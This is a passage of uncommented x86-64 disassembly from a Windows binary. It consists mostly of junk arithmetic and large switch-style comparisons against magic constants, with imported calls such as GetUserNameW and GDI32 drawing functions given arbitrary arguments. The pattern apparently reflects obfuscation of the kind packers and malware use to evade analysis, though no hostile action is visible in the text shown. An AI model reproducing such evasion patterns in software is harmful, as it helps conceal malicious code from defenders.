movsx ecx, byte [0x14018acd9]
sar eax, cl
mov byte [rsp + 0x1ab], al
movsx eax, word [rsp + 0xc5c]
movsx ecx, word [rsp + 0xc58]
sub eax, ecx
mov rcx, qword [rsp + 0x3a50]
mov word [rcx], ax
movsx eax, word [0x14018bdc4]
mov rcx, qword [rsp + 0x3a70]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x3b00]
mov word [rcx], ax
mov rax, qword [rsp + 0x3b90]
movzx eax, word [rax]
sub eax, 0xb2a
mov word [rsp + 0xc60], ax
mov rax, qword [rsp + 0x3b90]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc60]
add eax, ecx
mov rcx, qword [rsp + 0x3b90]
mov word [rcx], ax
mov rax, qword [rsp + 0x3a38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1f90]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3bd8]
mov dword [rcx], eax
lea rdx, [rsp + 0x3a60]
mov rcx, qword [rsp + 0x3c00]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
mov dword [rsp + 0x1fbc], eax
mov rax, qword [rsp + 0x3bc8]
movsx eax, byte [rax]
movsx ecx, byte [0x14018acd9]
sar eax, cl
mov byte [rsp + 0x1ab], al
mov rax, qword [rsp + 0x3b28]
mov rcx, qword [rsp + 0x2fa8]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x3b88]
mov qword [rcx], rax
jmp 0x14001fb42
movzx eax, word [0x14018bdc4]
mov word [rsp + 0xc64], ax
jmp 0x14001fb42
mov rax, qword [rsp + 0x3b90]
movzx eax, word [rax]
or eax, 0x3c9
mov word [rsp + 0xc60], ax
jmp 0x14001fb42
mov rax, qword [rsp + 0x3b58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3b60]
mov qword [rsp + 0x3c08], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3c08]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x3b78]
mov qword [rcx], rax
jmp 0x14001fb42
mov rax, qword [rsp + 0x3b60]
mov rcx, qword [rsp + 0x3b58]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3b78]
mov qword [rcx], rax
jmp 0x14001fb42
mov rax, qword [rsp + 0x3b60]
mov rcx, qword [rsp + 0x3b58]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x34f8], rax
jmp 0x14001fb42
mov rax, qword [rsp + 0x3b58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x34f8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3b78]
mov qword [rcx], rax
jmp 0x14001fb42
movzx eax, word [rsp + 0xc60]
sar eax, 1
mov rcx, qword [rsp + 0x3b90]
mov word [rcx], ax
jmp 0x140020302
mov eax, dword [rsp + 0x1fa0]
mov ecx, dword [rsp + 0x1f8c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1f68], eax
mov rax, qword [rsp + 0x3b58]
mov rcx, qword [rsp + 0x3b78]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3b58]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1f90]
mov ecx, dword [rsp + 0x1f7c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x1c58], eax
mov rax, qword [rsp + 0x3bc8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1ab]
and eax, ecx
mov rcx, qword [rsp + 0x3bc8]
mov byte [rcx], al
mov rax, qword [rsp + 0x3b88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2fa8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3bc0]
mov qword [rcx], rax
movsx eax, word [rsp + 0xc64]
movsx ecx, word [rsp + 0xc5c]
sar eax, cl
mov rcx, qword [rsp + 0x3a70]
mov word [rcx], ax
jmp 0x140020302
lea rdx, [rsp + 0xc5c]
mov rcx, qword [rsp + 0x3ae0]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
mov dword [rsp + 0x1f88], eax
movsx eax, word [rsp + 0xc5c]
mov rcx, qword [rsp + 0x3b70]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xc58], ax
mov rax, qword [rsp + 0x3b90]
movzx eax, word [rax]
xor eax, 0x7cd
mov word [rsp + 0xc60], ax
mov rax, qword [rsp + 0x3b78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x34f8]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3b58]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1f90]
mov ecx, dword [0x14018bdc0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3a68]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x1ab]
mov rcx, qword [rsp + 0x3bc8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14018acd9], al
mov rax, qword [rsp + 0x3b88]
mov rcx, qword [rsp + 0x2fa8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x3b28]
mov qword [rcx], rax
movsx eax, word [rsp + 0xc64]
mov rcx, qword [rsp + 0x3b70]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x3a50]
mov word [rcx], ax
mov rax, qword [rsp + 0x3b90]
movzx eax, word [rax]
sar eax, 0xb
mov word [rsp + 0xc60], ax
mov rax, qword [rsp + 0x3b78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x34f8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3b60]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3b90]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc60]
add eax, ecx
mov rcx, qword [rsp + 0x3b90]
mov word [rcx], ax
jmp 0x140020302
mov rax, qword [rsp + 0x3b28]
mov rcx, qword [rsp + 0x3b88]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x2fa8], rax
mov eax, dword [rsp + 0x1fa0]
mov ecx, dword [rsp + 0x1fd0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3a40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3b28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2fa8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3b88]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3bc8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1ab]
xor eax, ecx
mov byte [0x14018acd9], al
mov rax, qword [rsp + 0x3a38]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x3bd8]
mov qword [rsp + 0x3c10], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3c10]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x3bd8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3a50]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3b70]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x3a50]
mov word [rcx], ax
mov rdx, qword [rsp + 0x3c18]
mov rcx, qword [rsp + 0x3c20]
call qword [sym.imp.GDI32.dll_CopyEnhMetaFileW]
mov qword [rsp + 0x3c28], rax
mov rax, qword [rsp + 0x3b90]
movzx eax, word [rax]
sar eax, 3
mov word [rsp + 0xc60], ax
mov rax, qword [rsp + 0x3b58]
mov rcx, qword [rsp + 0x3b78]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3b58]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3b78]
mov rcx, qword [rsp + 0x3b58]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x34f8], rax
movsx eax, word [rsp + 0xc5c]
movsx ecx, word [rsp + 0xc58]
add eax, ecx
mov rcx, qword [rsp + 0x3a50]
mov word [rcx], ax
jmp 0x140020302
movzx eax, word [rsp + 0xc60]
sar eax, 3
mov rcx, qword [rsp + 0x3b90]
mov word [rcx], ax
mov rax, qword [rsp + 0x3bc0]
mov rcx, qword [rsp + 0x3b88]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x2fa8], rax
mov rax, qword [rsp + 0x3bc8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1ab]
add eax, ecx
mov rcx, qword [rsp + 0x3bc8]
mov byte [rcx], al
mov eax, dword [rsp + 0x1f7c]
mov ecx, dword [rsp + 0x1c58]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3bd8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3b60]
mov rcx, qword [rsp + 0x3b78]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x34f8], rax
mov rax, qword [rsp + 0x3b00]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc5c]
shl eax, cl
mov rcx, qword [rsp + 0x3a50]
mov word [rcx], ax
mov rax, qword [rsp + 0x3b90]
movzx eax, word [rax]
or eax, 0xf2
mov word [rsp + 0xc60], ax
mov eax, dword [rsp + 0x1f90]
movzx ecx, al
mov eax, dword [rsp + 0x1c58]
shr eax, cl
mov rcx, qword [rsp + 0x3b80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3a40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1f68]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3bb8]
mov dword [rcx], eax
jmp 0x140020302
mov rax, qword [rsp + 0x3b78]
mov rcx, qword [rsp + 0x34f8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x3b60]
mov qword [rcx], rax
mov dword [rsp + 0x40], 0xee
mov dword [rsp + 0x38], 0xc8
mov dword [rsp + 0x30], 0xc7
mov dword [rsp + 0x28], 0xa2
mov dword [rsp + 0x20], 0x57
mov r9d, 0x46
mov r8d, 0xc1
mov edx, 0x4d
mov rcx, qword [rsp + 0x3ab0]
call qword [sym.imp.GDI32.dll_Chord]
mov dword [rsp + 0x1f9c], eax
mov rax, qword [rsp + 0x3bc8]
movsx eax, byte [rax]
movsx ecx, byte [0x14018acd9]
and eax, ecx
mov byte [rsp + 0x1ab], al
mov rax, qword [rsp + 0x3a38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1f7c]
and ecx, eax
mov eax, ecx
mov dword [0x14018bdc0], eax
mov rax, qword [rsp + 0x3a38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1f7c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3a68]
mov dword [rcx], eax
movsx eax, word [rsp + 0xc64]
movsx ecx, word [rsp + 0xc5c]
sar eax, cl
mov rcx, qword [rsp + 0x3a50]
mov word [rcx], ax
mov rax, qword [rsp + 0x3b90]
movzx eax, word [rax]
sub eax, 0xa3d
mov word [rsp + 0xc60], ax
mov rax, qword [rsp + 0x3b58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x34f8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3b60]
mov qword [rcx], rax
movzx eax, word [rsp + 0xc60]
and eax, 0xa1d
mov rcx, qword [rsp + 0x3b90]
mov word [rcx], ax
movsx eax, word [rsp + 0xc5c]
movsx ecx, word [rsp + 0xc64]
xor eax, ecx
mov word [rsp + 0xc58], ax
jmp 0x140020302
mov rax, qword [rsp + 0x3b78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3b60]
mov qword [rsp + 0x3c30], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3c30]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x3b58]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x1ab]
movsx ecx, byte [0x14018acd9]
or eax, ecx
mov rcx, qword [rsp + 0x3bc8]
mov byte [rcx], al
mov eax, dword [rsp + 0x1f7c]
movzx ecx, al
mov eax, dword [rsp + 0x1c58]
shr eax, cl
mov dword [0x14018bdc0], eax
mov rax, qword [rsp + 0x3b88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2fa8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3b28]
mov qword [rcx], rax
movzx eax, word [rsp + 0xc60]
add eax, 0x933
mov rcx, qword [rsp + 0x3b90]
mov word [rcx], ax
mov rax, qword [rsp + 0x3b58]
mov rcx, qword [rsp + 0x3b78]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x34f8], rax
mov rax, qword [rsp + 0x3b78]
mov rcx, qword [rsp + 0x34f8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3b78]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3a40]
mov ecx, dword [rsp + 0x1fc0]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x3bb8]
mov dword [rcx], eax
jmp 0x140020302
mov dword [rsp + 0x30], 0x8d
lea rax, [rsp + 0x3b90]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x3a50]
mov qword [rsp + 0x20], rax
mov r9d, 0xf4
mov r8d, 0x98
mov rdx, qword [rsp + 0x3c38]
mov rcx, qword [rsp + 0x3b48]
call qword [sym.imp.GDI32.dll_GetDIBits]
mov dword [rsp + 0x1fc0], eax
movsx eax, word [rsp + 0xc58]
mov rcx, qword [rsp + 0x3b00]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xc64], ax
movzx eax, word [rsp + 0xc60]
add eax, 0xe6a
mov rcx, qword [rsp + 0x3b90]
mov word [rcx], ax
mov rax, qword [rsp + 0x3a38]
mov ecx, dword [rsp + 0x1f7c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1f90], eax
mov rax, qword [rsp + 0x3bc8]
movsx eax, byte [rax]
movsx ecx, byte [0x14018acd9]
and eax, ecx
mov rcx, qword [rsp + 0x3bc8]
mov byte [rcx], al
mov rax, qword [rsp + 0x3b88]
mov rcx, qword [rsp + 0x3bc0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x3b28]
mov qword [rcx], rax
movsx eax, word [rsp + 0xc58]
mov dword [rsp + 0x1fd4], eax
cmp dword [rsp + 0x1fd4], 0
je 0x14002039a
cmp dword [rsp + 0x1fd4], 0x1aa
je 0x14002045e
cmp dword [rsp + 0x1fd4], 0x52d
je 0x14002033e
jmp 0x1400205ce
movsx eax, word [rsp + 0xc5c]
mov rcx, qword [rsp + 0x3b70]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xc58], ax
movzx eax, word [rsp + 0xc60]
shl eax, 2
mov rcx, qword [rsp + 0x3b90]
mov word [rcx], ax
mov rax, qword [rsp + 0x3b58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x34f8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3b60]
mov qword [rcx], rax
jmp 0x140020654
mov rax, qword [rsp + 0x3b78]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x34f8]
sar rax, cl
mov qword [rsp + 0x2ac8], rax
mov rax, qword [rsp + 0x3b60]
mov rcx, qword [rsp + 0x3b58]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3b78]
mov qword [rcx], rax
movzx eax, word [rsp + 0xc58]
mov word [rsp + 0xc68], ax
mov rax, qword [rsp + 0x3bc0]
mov rcx, qword [rsp + 0x3b28]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x3b88]
mov qword [rcx], rax
movzx eax, byte [0x14018acda]
cdq
and edx, 0x3f
add eax, edx
sar eax, 6
mov byte [0x14018acda], al
lea rax, [rsp + 0x1ab]
mov qword [rsp + 0x3c40], rax
mov rax, qword [rsp + 0x3a38]
mov rcx, qword [rsp + 0x3a68]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3bd8]
mov dword [rcx], eax
jmp 0x140020654
mov rax, qword [rsp + 0x3bb8]
mov rcx, qword [rsp + 0x3a40]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x1f8c], eax
mov eax, dword [rsp + 0x1fc0]
mov ecx, dword [rsp + 0x1fa0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3a40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3b00]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc64]
sar eax, cl
mov word [rsp + 0xc5c], ax
movzx eax, word [rsp + 0xc60]
shl eax, 5
mov rcx, qword [rsp + 0x3b90]
mov word [rcx], ax
movzx eax, word [rsp + 0xc60]
xor eax, 0xb3c
mov rcx, qword [rsp + 0x3b90]
mov word [rcx], ax
mov rax, qword [rsp + 0x2ac8]
mov rcx, qword [rsp + 0x34f8]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3b58]
mov qword [rcx], rax
lea r8, [rsp + 0x161e0]
mov edx, 0xcf
mov rcx, qword [rsp + 0x3ac0]
call qword [sym.imp.GDI32.dll_GetOutlineTextMetricsW]
mov dword [rsp + 0x1fd8], eax
mov rax, qword [rsp + 0x3bc0]
mov rcx, qword [rsp + 0x3b28]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x2fa8], rax
movsx eax, byte [rsp + 0x1ab]
mov rcx, qword [rsp + 0x3c40]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14018acd9], al
mov eax, dword [rsp + 0x1f7c]
mov rcx, qword [rsp + 0x3a68]
mov qword [rsp + 0x3c48], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3c48]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x3b80]
mov dword [rcx], eax
movsx eax, word [rsp + 0xc58]
mov rcx, qword [rsp + 0x3b00]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3b70]
mov word [rcx], ax
mov rax, qword [rsp + 0x3b90]
movzx eax, word [rax]
sub eax, 0xedb
mov word [rsp + 0xc60], ax
jmp 0x140020654
mov rax, qword [rsp + 0x3b60]
mov rcx, qword [rsp + 0x34f8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x3b58]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3b90]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc60]
and eax, ecx
mov rcx, qword [rsp + 0x3b90]
mov word [rcx], ax
mov rax, qword [rsp + 0x3b60]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2ac8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x34f8], rax
mov rax, qword [rsp + 0x3b78]
mov rcx, qword [rsp + 0x3b58]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x3b78]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3bb8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x1fc0]
sar eax, cl
mov rcx, qword [rsp + 0x3a40]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x1fa0]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jg 0x1400f2605
mov rax, qword [rsp + 0x3bc8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1ab]
sub eax, ecx
mov byte [rsp + 0x99], al
movzx eax, word [rsp + 0xc60]
mov word [0x14018bdc8], ax
mov rax, qword [rsp + 0x2ac8]
mov qword [rsp + 0x3c50], rax
movabs rax, 0x7386e2c90df413
cmp qword [rsp + 0x3c50], rax
jg 0x140020732
movabs rax, 0x7386e2c90df413
cmp qword [rsp + 0x3c50], rax
je 0x140020888
cmp qword [rsp + 0x3c50], 0
je 0x1400208fb
movabs rax, 0x71da30894d3b3b
cmp qword [rsp + 0x3c50], rax
je 0x1400f2200
movabs rax, 0x72719a8a40ad8b
cmp qword [rsp + 0x3c50], rax
je 0x1400f218b
jmp 0x1400f23ec
movabs rax, 0x73a14af48d482d
cmp qword [rsp + 0x3c50], rax
je 0x1400f22d7
movabs rax, 0x756b1d057ee697
cmp qword [rsp + 0x3c50], rax
je 0x1400f2253
movabs rax, 0x7a1dd7d6d447ca
cmp qword [rsp + 0x3c50], rax
je 0x14002077b
jmp 0x1400f23ec
mov rax, qword [rsp + 0x2ac8]
mov rcx, qword [rsp + 0x3b60]
mov qword [rsp + 0x3c58], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3c58]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x3b60]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3b78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x34f8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x2ac8], rax
mov rax, qword [rsp + 0x3b60]
mov rcx, qword [rsp + 0x3b58]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3b78]
mov qword [rcx], rax
movzx eax, word [rsp + 0xc60]
mov rcx, qword [rsp + 0x3b90]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14018bdc8], ax
mov eax, dword [rsp + 0x1f8c]
mov rcx, qword [rsp + 0x3a40]
mov qword [rsp + 0x3c60], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3c60]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x3bb8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3bc0]
mov rcx, qword [rsp + 0x3b88]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x3bc0]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x1ab]
mov rcx, qword [rsp + 0x3bc8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3c40]
mov byte [rcx], al
jmp 0x1400f2568
lea rdx, [rsp + 0x3b20]
mov rcx, qword [rsp + 0x3c00]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
mov dword [rsp + 0x1fdc], eax
mov rax, qword [rsp + 0x3bc0]
mov rcx, qword [rsp + 0x3b28]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x2fa8], rax
mov eax, dword [0x14018bdc0]
mov dword [rsp + 0x1fd8], eax
mov rax, qword [rsp + 0x3a50]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3a70]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x3b00]
mov word [rcx], ax
jmp 0x1400f2568
mov rax, qword [rsp + 0x3b88]
mov rax, qword [rax]
mov qword [rsp + 0x3c68], rax
movabs rax, 0x752db7380ec157
cmp qword [rsp + 0x3c68], rax
ja 0x14002097a
movabs rax, 0x752db7380ec157
cmp qword [rsp + 0x3c68], rax
je 0x1400f1f3b
cmp qword [rsp + 0x3c68], 0
je 0x1400209af
movabs rax, 0x71afd8a8c476aa
cmp qword [rsp + 0x3c68], rax
je 0x1400f1ed1
movabs rax, 0x751e09800f961f
cmp qword [rsp + 0x3c68], rax
je 0x1400f1e38
jmp 0x1400f2024
movabs rax, 0x75d58647c3d24d
cmp qword [rsp + 0x3c68], rax
je 0x1400f1ce9
movabs rax, 0x7e5d249ea32699
cmp qword [rsp + 0x3c68], rax
je 0x1400f1b5c
jmp 0x1400f2024
movzx eax, word [rsp + 0xc60]
mov rcx, qword [rsp + 0x3b90]
movzx ecx, word [rcx]
sar eax, cl
movzx ecx, word [0x14018bdc8]
cmp eax, ecx
je 0x140020ba4
mov rax, qword [rsp + 0x3b78]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x34f8]
sar rax, cl
mov qword [rsp + 0x2ac8], rax
mov rax, qword [rsp + 0x2ac8]
mov rcx, qword [rsp + 0x34f8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3b58]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x99]
movsx ecx, byte [rsp + 0x1ab]
add eax, ecx
mov byte [0x14018acd9], al
mov rax, qword [rsp + 0x3bc0]
mov rcx, qword [rsp + 0x2fa8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x3b28]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3a40]
mov ecx, dword [rsp + 0x1fa0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3bb8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3bd8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x3b80]
mov qword [rsp + 0x3c70], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3c70]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x1f90], eax
mov rax, qword [rsp + 0x3a68]
mov eax, dword [rax]
mov ecx, dword [0x14018bdc0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3a38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3a70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc5c]
and eax, ecx
mov rcx, qword [rsp + 0x3a70]
mov word [rcx], ax
movsx eax, word [rsp + 0xc68]
movsx ecx, word [0x14018bdc4]
and eax, ecx
mov word [rsp + 0xc5c], ax
mov rax, qword [rsp + 0x3b90]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc60]
shl eax, cl
mov rcx, qword [rsp + 0x3b90]
mov word [rcx], ax
movzx eax, word [0x14018bdc8]
mov rcx, qword [rsp + 0x3b90]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xc60], ax
mov rax, qword [rsp + 0x3a68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1c58]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3bd8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2fa8]
mov rcx, qword [rsp + 0x3b88]
mov qword [rsp + 0x3c78], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3c78]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x3b88]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3bc8]
movsx eax, byte [rax]
movsx ecx, byte [0x14018acd9]
add eax, ecx
mov rcx, qword [rsp + 0x3c40]
mov byte [rcx], al
jmp 0x140021134
mov rax, qword [rsp + 0x34f8]
mov rcx, qword [rsp + 0x2ac8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3b58]
mov rdx, qword [rsp + 0x3b78]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
sub rcx, rdx
cmp rax, rcx
jle 0x140020d7c
mov r8d, 0xcb
lea rdx, [rsp + 0x3b90]
mov rcx, qword [rsp + 0x3af0]
call qword [sym.imp.GDI32.dll_PolyBezierTo]
mov dword [rsp + 0x1fe0], eax
movsx eax, word [rsp + 0xc68]
mov rcx, qword [rsp + 0x3b00]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc64], ax
mov rax, qword [rsp + 0x3b90]
movzx eax, word [rax]
movzx ecx, word [0x14018bdc8]
add eax, ecx
mov word [rsp + 0xc60], ax
mov rax, qword [rsp + 0x3b60]
mov rcx, qword [rsp + 0x3b78]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3b58]
mov qword [rcx], rax
mov rax, qword [rsp + 0x34f8]
mov rcx, qword [rsp + 0x2ac8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3b78]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3b78]
mov rcx, qword [rsp + 0x3b60]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x2ac8], rax
mov rax, qword [rsp + 0x3b60]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3b78]
mov qword [rsp + 0x3c80], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3c80]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x3b58]
mov qword [rcx], rax
movzx eax, word [0x14018bdc8]
movzx ecx, word [rsp + 0xc60]
sub eax, ecx
mov rcx, qword [rsp + 0x3b90]
mov word [rcx], ax
mov rax, qword [rsp + 0x3bb8]
mov eax, dword [rax]
mov dword [rsp + 0x1fc0], eax
mov rax, qword [rsp + 0x3b60]
mov rcx, qword [rsp + 0x34f8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x3b58]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3a68]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x3b80]
mov qword [rsp + 0x3c88], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3c88]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x3b80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3b88]
mov rcx, qword [rsp + 0x3bc0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x2fa8], rax
jmp 0x140021134
mov rax, qword [rsp + 0x3a68]
mov rcx, qword [rsp + 0x3a38]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov ecx, dword [rsp + 0x1fd8]
mov edx, dword [rsp + 0x1f90]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jbe 0x140020e8b
movsx eax, byte [rsp + 0x99]
mov rcx, qword [rsp + 0x3c40]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x3bc8]
mov byte [rcx], al
mov rax, qword [rsp + 0x3b00]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3a50]
movsx ecx, word [rcx]
sub eax, ecx
